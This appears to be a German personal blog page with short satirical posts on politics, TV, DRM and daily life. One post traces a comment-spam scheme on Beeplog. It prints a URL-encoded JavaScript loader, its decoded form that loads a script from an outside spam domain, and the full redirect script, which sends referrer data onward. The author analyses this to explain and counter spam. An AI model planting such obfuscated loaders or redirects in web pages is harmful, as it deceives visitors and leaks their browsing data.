In2Revolution

Die FAZ hat mit den Geld-oder-Leben-Revolutionären gesprochen:

Elena erzählt, dass sie früher mal bei den Grünen war. Lange hat sie es dort nicht ausgehalten: „Die haben eigentlich immer nur über sich selbst debattiert.“ Johannes und Holger wollen sich parteipolitisch ohnehin nicht binden, denn das seien auch nur „Institutionen des bestehenden Systems“. Ihr eigener Zusammenschluss „Geld oder Leben“ sei schon aus diesem Grund keine feste Organisation, sondern eher ein Debattierklub ähnlich gesinnter Jugendlicher aus ganz Deutschland. Gewalt lehnen sie alle kategorisch ab. Aber wie ein Staat wie die Bundesrepublik überhaupt aufgebaut sein sollte, um der Sehnsucht dieser vier durchaus intelligenten jungen Leute nach mehr Nestwärme und Menschlichkeit zu entsprechen, bleibt letztlich ein großes Rätsel.
[…]
Holger ist 22 Jahre alt und studiert in Berlin Sozialwissenschaften. Wenn er nicht gerade den Reichstag stürmt oder über Politik diskutiert, spielt er gerne Gitarre. Mit seinen schulterlangen Haaren und den feinen Gesichtszügen wäre er in jeder Band der Schwarm aller Mädchen. Heute trägt er Ringelpulli und an den Füßen Socken in unterschiedlichen Farben. Er sagt: „Es ist doch schräg, dass sich an den Schulen heute alles nur um die richtigen Jeans oder um Markenturnschuhe dreht.“ Sein Mitbewohner Johannes ist auch 22 und studiert Physik – wie Claas (22) und Elena (21). Er hat dunkle, wache Augen, ein paar Bartstoppeln stehen ihm im Gesicht, und wenn er redet, findet er immer gleich die richtigen Worte.

Mal ehrlich: welche Parfümmarke soll nun beworben werden? Oder ist es die INSM?

Ich sehe die Storyline schon vor mir: Elena lernt diesen knuffigen Lateinamerikaner kennen, der ihr die Augen öffnet, wie linke Politik die Dritte Welt ruiniert. Und Johannes, Holger und Claas wollen die Politikszene erkunden, fühlen sich aber von Attac und Linkspartei abgestoßen und enttäuscht. Als ihr Freund Eduardo dann von finsteren Nazis verfolgt wird, tritt plötzlich Björn auf den Plan, der die Nazis vertreibt und rein zufällig für eine dieser tollen Gruppen arbeitet, wo noch echte Kreativität gefragt ist. Für die gute Sache. Bei den Jungen Liberalen.

Natürlich ist das billige Polemik: aber wer erst das Maul ganz groß aufreißt und dann schließlich nur Pseudo-Lyrik und Pseudo-Standpunkte absondert, wird nichts bewegen und will wahrscheinlich nicht mal etwas bewegen.

Johannes: „Mit dieser Aktion haben wir ja politische Verantwortung übernommen!“ Das soll es schon gewesen sein? Holger: „Es war zumindest ein Zeichen, jetzt wollen wir den Diskurs fortsetzen und eine Bewegung schaffen.“ Was für eine Bewegung? Elena: „Das ist im Moment noch nicht ganz klar.“

Flash-Mob statt Politik.

TV-Konsequenz

Wenn man vier Mülltonnen für Verpackung, Papier, Glas und Restmüll hat, kann man auch vier Fernseher haben.

Schmocher

Ein Glück, dass ich Harald Schmidt endgültig aufgegeben habe, als er mit der blöden MediaMarkt-Werbung begonnen hat, die zudem einen bis dahin schönen Rio-Reiser-Song schändete. Wie übel es um seine Show steht, enthüllt die Netzeitung exklusiv:

«Harald Schmidt» hatten im ersten Quartal dieses Jahres laut ARD durchschnittlich 1,32 Zuschauer ab drei Jahren verfolgt.

Das Praktische daran: Ob Schmidt in Zukunft mit Oliver Pocher oder Atze Schröder auftritt, interessiert mich kaum noch. Wer in seinem Blog einen dem Anlass entsprechend originellen Bild-Kommentar hinterlassen will, kann sich ja hier oder hier bedienen.

Vorsicht: koffeinfrei

Wenn das Nescafe-Glas einen roten Deckel hat, ist kein Koffein drin. Die Warnfarbe hätte mir eigentlich eine unschöne Überraschung ersparen können.

Camp oder Bar?

Das nächste Barcamp ist angesetzt und will seinem Namen alle Ehre machen. Zum Übernachten wird die Option „Campen“ genannt. Ich hingegen würde gerne den anderen Namensbestandteil in Erinnerung rufen: können wir stattdessen nicht in einer Bar übernachten?

Die edlen Gumballer

In einem Blog-Posting kündigt das „Team Polizei“ großherzig an, eine Spende von 10000 Dollar für die jüngsten Opfer des illegalen Straßenrennens Gumball an.

Bei Google wirbt das gleiche Team mit dieser Anzeige:

gum-google.jpg

Natürlich sind sie nur „wanted“ weil ihre Ladeklappe nicht TÜV-geprüft ist und nicht etwa weil sie rücksichtslos Menschenleben gefährden…

Spam per Beeplog – eine kleine Spurensuche

In letzter Zeit ist mir mehrmals Kommentarspam aufgefallen, der die deutsche Adresse Beeplog.de verlinkt. Wenn ich die Links anklicke, lande ich merkwürdigerweise auf einer Google-Ergebnis-Seite.

Wie funktioniert das? Nehmen wir als Beispiel den Spam vorn heute: http:// kidney-stones. beeplog. de (die URLs habe ich in diesem Beitrag deaktiviert).

Wenn man die Seite mit ausgeschaltetem JavaScript ansurft, landet man auf einer ziemlich leeren Beeplog-Seite ohne Einträge, aber mit massig Links in der Sidebar. Schaut man in den Quelltext, stößt man schnell auf folgendes JavaScript:

script language="JavaScript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%64%72%75%67%2D%70%72%65%73%63%72%69%70%74%69%6F%6E%2E%6F%72%67%2F%6A%2E%70%68%70%3F%71%3D%6B%69%64%6E%65%79%25%32%30%73%74%6F%6E%65%73%22%3E%3C%2F%73%63%72%69%70%74%3E'))

Sprich: es ist ein kleines kodiertes Programm, das im Browser ausgeführt wird. Im Klartext sieht das dann so aus:

script language="JavaScript" type="text/javascript" src="http://drug-prescription.org/ j.php?q=kidney%20stones">

Sprich: Das entschlüsselte JavaScript wird direkt ausgeführt und holt weitere Anweisungen von einer externen Seite. Die sehen so aus:

var f =''; var url = ''; f = ref(); if (top != self){ url = 'http://people-say.info/ search.php?q=kidney stones&f=' + f; } else{ if (url == '' && f != '') url = filter(); else url = 'http://www.google.com/ search?hl=en&q=kidney stones'; } if (typeof(location.replace) != 'undefined') top.location.replace(url); else top.location.href = url; function filter(){ if (f.indexOf('.live.')!=-1 || f.indexOf('.google.')!=-1 || f.indexOf('.msn.')!=-1 || f.indexOf('.yahoo.')!=-1 || f.indexOf('.aol.')!=-1 || f.indexOf('.ask.')!=-1 || f.indexOf('.altavista.')!=-1 || f.indexOf('.all.')!=-1 || f.indexOf('.nigma.')!=-1 || f.indexOf('.dogpile.')!=-1 || f.indexOf('.metacrawler.')!=-1 || f.indexOf('meta.')!=-1 || f.indexOf('.yandex.')!=-1 || f.indexOf('.rambler.')!=-1 || f.indexOf('.webalta.')!=-1 || f.indexOf('.live.')!=-1) return 'http://people-say.info/ search.php?q=kidney stones&f='+ f; else return 'http://www.google.com/ search?hl=en&q=kidney stones'; } function ref(){ if (top == self) f = top.document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) if (document["parent"] != null) if (parent["document"] != null) // ACCESS ERROR HERE! if (parent.document["referrer"] != null) if (typeof(parent.document) == "object") f = parent.document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) if (document["referrer"] != null) f = document.referrer; if ((f == "") || (f == "[unknown origin]") || (f == "unknown") || (f == "undefined")) f = ""; f = escape(f); return f; }

Flüchtig betrachtet kontrolliert das Script welche Ergebnisseiten verschiedene Suchmaschinen für die entsprechenden Suchbegriffe ausgeben - und dann wird der User eben dahin geleitet. Der Spammer vertraut darauf, dass eine ausreichende Anzahl der Leute schon auf den richtigen Google-Link klicken wird. Und wenn Google ihn aus dem Index schmeißt, kann er ja den User noch auf andere Seiten umleiten.

Wie könnte man abhelfen? Beeplog.de müsste seine Blogs etwas sorgfältiger beobachten und einige JavaScript-Funktionen außer Kraft setzen. Der User könnte JavaScript deaktivieren - was heute illusorisch ist - oder schlichtweg drauf achten, nicht auf solche Spam-Links zu klicken.

DRM kurios

Das Positive an Digital Rights Management: Die Technik sorgt für immer neue Kuriositäten, die man kopierschutzfrei weitererzählen kann.

Neustes Kapitel: Das US-Unternehmen MRT (das steht für „Media Right Technologies“) ist von seiner Kopierschutztechnik so überzeugt, dass es ein Verbrechen wäre, sie nicht einzusetzen. Um dem Irrsinn auch Taten folgen zu lassen, hat das Unternehmen allen Branchengrößen Anwaltsschreiben geschickt: Grundlage des DMCA seien sie verpflichtet, die ach so tolle Technik von MRT zu lizensieren. Und da die Empfänger des Briefes wohl nach kurzem Stirnrunzeln in den Papierkorb werfen werden, hat man das Ganze in Form einer Pressemitteilung veröffentlicht:

MRT asserts Apple, Microsoft, Real and Adobe have produced billions of these products without regard for the DMCA or the rights of American Intellectual Property owners, actively avoiding the use of MRT’s technologies. Failure to comply with this demand could result in a federal court injunction to any of the above named parties to cease production or sale of their products and/or the imposition of statutory damages of at least $200 to $2500 for each product distributed or sold.

Und da dies noch nicht genug ist, schleimt sich MRT auch noch beim Kunden ein:

„Together these four companies are responsible for 98 percent of the media players in the marketplace; CNN, NPR, Clear Channel, MySpace Yahoo and YouTube all use these infringing devices to distribute copyrighted works,“ states MRT CEO Hank Risan. „We will hold the responsible parties accountable. The time of suing John Doe is over.“

Was soll man da sagen? Die Rechts- und PR-Experten dieser Firma kommen wohl direkt aus Utah.

Schweinestaat reloaded?

Ein Freund hat mich am Samstag zu einer ATTAC-Soli-Party eingeladen. Ich kann an dem Abend eh nicht, habe aber in einem selbstreflektiven Moment festgestellt dass ich eh nicht hingehen wollte.

Nicht wegen der Attacis, sondern weil die Aussicht von der Polizei hochgenommen zu werden oder unbewusst mit einem Verfassungsschützer zu plaudern nicht besonders spaßig klingt. Oder dass mich Leute selbst für einen Verfassungsschützer halten. Vielleicht hat es auch damit zu tun, dass am Mittwoch abend die Straße vor meiner Wohnung plötzlich von Mannschaftswagen mit Blaulicht wimmelte. Als ich 10 Minuten später vor Ort war, war der Platz wieder ausgestorben – unheimlich.